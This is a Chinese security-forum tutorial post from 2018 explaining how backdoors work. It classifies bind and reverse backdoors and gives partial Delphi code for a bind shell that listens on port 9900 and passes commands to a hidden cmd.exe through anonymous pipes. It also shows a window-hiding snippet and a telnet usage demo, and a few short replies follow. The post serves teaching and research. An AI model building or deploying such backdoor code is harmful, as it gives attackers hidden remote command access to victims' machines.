首页
社区
课程
招聘
[原创]DELPHI:后门原理简析
发表于: 2018-3-27 13:24 3992

[原创]DELPHI:后门原理简析

2018-3-27 13:24
3992

5ecurity团队成员晓虎(xiaohu@5ecurity.cn)原创发布

原文链接:http://www.5ecurity.cn/index.php/archives/143/

前言

在渗透测试中经常用到远控、后门等辅助后渗透权限维持工具,有一款好用的自制后门可以在巩固渗透成果方面有很大的帮助。今天给大家简单讲解下后门的原理和实现的方法,主要针对技术研究和原理演示,请各位看官不要用于违法活动。


一、后门的分类

按照连接方式可分为正向后门及反弹后门。字面上理解就是正向后门会在被控机上开启监听端口,等待控制机的连接机控制,反弹后门会在被控端运行并尝试获取控制机地址及端口,获取成功后主动连接控制机等待控制指令。

 

两种后门各有不同的应用场景,有几个主要的差别如下:

 

1、正向后门需要被控机能直接ip形式访问,也就是说如果你在内网机器上安装了一个后门,在外网是不能直接连接控制的,除非在路由器上将内网机器的后门端口映射到外网;

 

2、反弹后门的控制机需要直接ip形式可访问,也就是说被控端在获取到控制端ip和端口后在反向连接的时候需要能直接ip可达,原理同上。


二、后门的功能

后门和远控不一样,后门一般功能简单,不需要有什么屏幕控制之类的功能,因为后门主要是用来获取被控机连接权限的,所以一般后门主要功能集中在隐藏、潜伏、保持连接,功能上具备执行命令功能即可。而远控就不一样了,一般会有丰富的功能,如命令执行、文件管理、进程管理、键盘记录、屏幕控制、摄像头监控、音频监控等等。

 

我们今天用来学习的是一个简单的只有命令执行功能的演示demo。


三、后门实现原理

首先,后门是一个网络通讯软件,那就需要建立连接。正向后门需要在本机开启监听端口等到控制机的连接控制。

 

在windows下可以使用socket来建立套接字,再使用bind绑定地址、listen监听端口、accept等到控制机的连接,连接上以后就可以使用recv和send收发控制指令和回显信息了。主要原理基本就这些,当然使用完socket要记得用closesocket关闭套接字。

 

第二,光有通信功能还是不够的,还要具备命令执行功能,一个简单的实现方法就是使用进程通信方法将命令传递给cmd.exe执行,并将结果发送给控制机。这里的方法有很多,比如说匿名管道、单管道、或者直接绑定socket等。


 

四、代码实现

 

1、通信建立

port:=9900; //定义访问端口

timeout:=PChar(50000); //定义超时时间



bindserver:=socket(AF_INET,SOCK_STREAM,0); //定义socket



addrserver.sin_family:=AF_INET;

addrserver.sin_port:=htons(port);

addrserver.sin_addr.S_addr:=INADDR_ANY;



setsockopt(bindserver,SOL_SOCKET,SO_RCVTIMEO,timeout,sizeof(timeout)); //设置超时时间



bind(bindserver,addrserver,sizeof(addrserver)); //绑定地址



listen(bindserver,5); //启动监听

2、创建管道与cmd.exe通信

sa:SECURITY_ATTRIBUTES; //定义安全属性

siinfo:STARTUPINFO; //新进程的STARTUPINFO结构体



sa.nLength:=sizeof(SECURITY_ATTRIBUTES); //设置安全属性

sa.lpSecurityDescriptor:=nil;

sa.bInheritHandle:=TRUE;



createpipe(hreadpipe1,hwritepipe1,@sa,0); //创建两个匿名管道

createpipe(hreadpipe2,hwritepipe2,@sa,0);



siinfo.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW);

siinfo.wShowWindow:=SW_HIDE; //新进程窗体隐藏

siinfo.hStdInput:=hreadpipe2;  //新进程输入管道

siinfo.hStdOutput:=hwritepipe1; //新进程输出管道

siinfo.hStdError:=hwritepipe1; //新进程报错信息管道



StrPCopy(cmdpath,'c:\windows\system32\cmd.exe'); //设置cmd路径



CreateProcess(nil,cmdpath,nil,nil,true,0,nil,nil,siinfo,processinformation);//创建进程

 

五、使用方法

 

上面两步完成后基本可实现一个简单的后门演示demo,具体使用方法如下:

 

1、编译好后门demo并运行,会在被控机监听9900端口

 

1.png

 

因为演示方便没有隐藏窗体,要隐藏也很简单可增加如下代码即可:

win:longint;

win:=getforegroundwindow; //获取当前窗体的句柄

showwindow(win,SW_HIDE);  //隐藏窗体

2、使用telnet连接被控机9900

 

2.png

 

3、执行命令

 

连接成功之后会有欢迎信息,说明可以执行命令了。

 

3.png

 

执行了dir和whoami都可正常回显,基本没啥问题。

 

六、代码下载
保存为Project1.dpr
Project1.dpr.jpg


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2018-3-27 13:24 被cnsecurity编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (4)
雪    币: 14881
活跃值: (6103)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
你这是哪是后门?你这是木马
2018-3-27 14:02
0
雪    币: 253
活跃值: (21)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
...........  惊到我了
2018-3-27 15:36
0
雪    币: 545
活跃值: (247)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
4
mark
2018-4-12 16:25
0
雪    币: 238
活跃值: (42)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
做个标记好学习
2018-4-18 20:45
0
游客
登录 | 注册 方可回帖
返回
//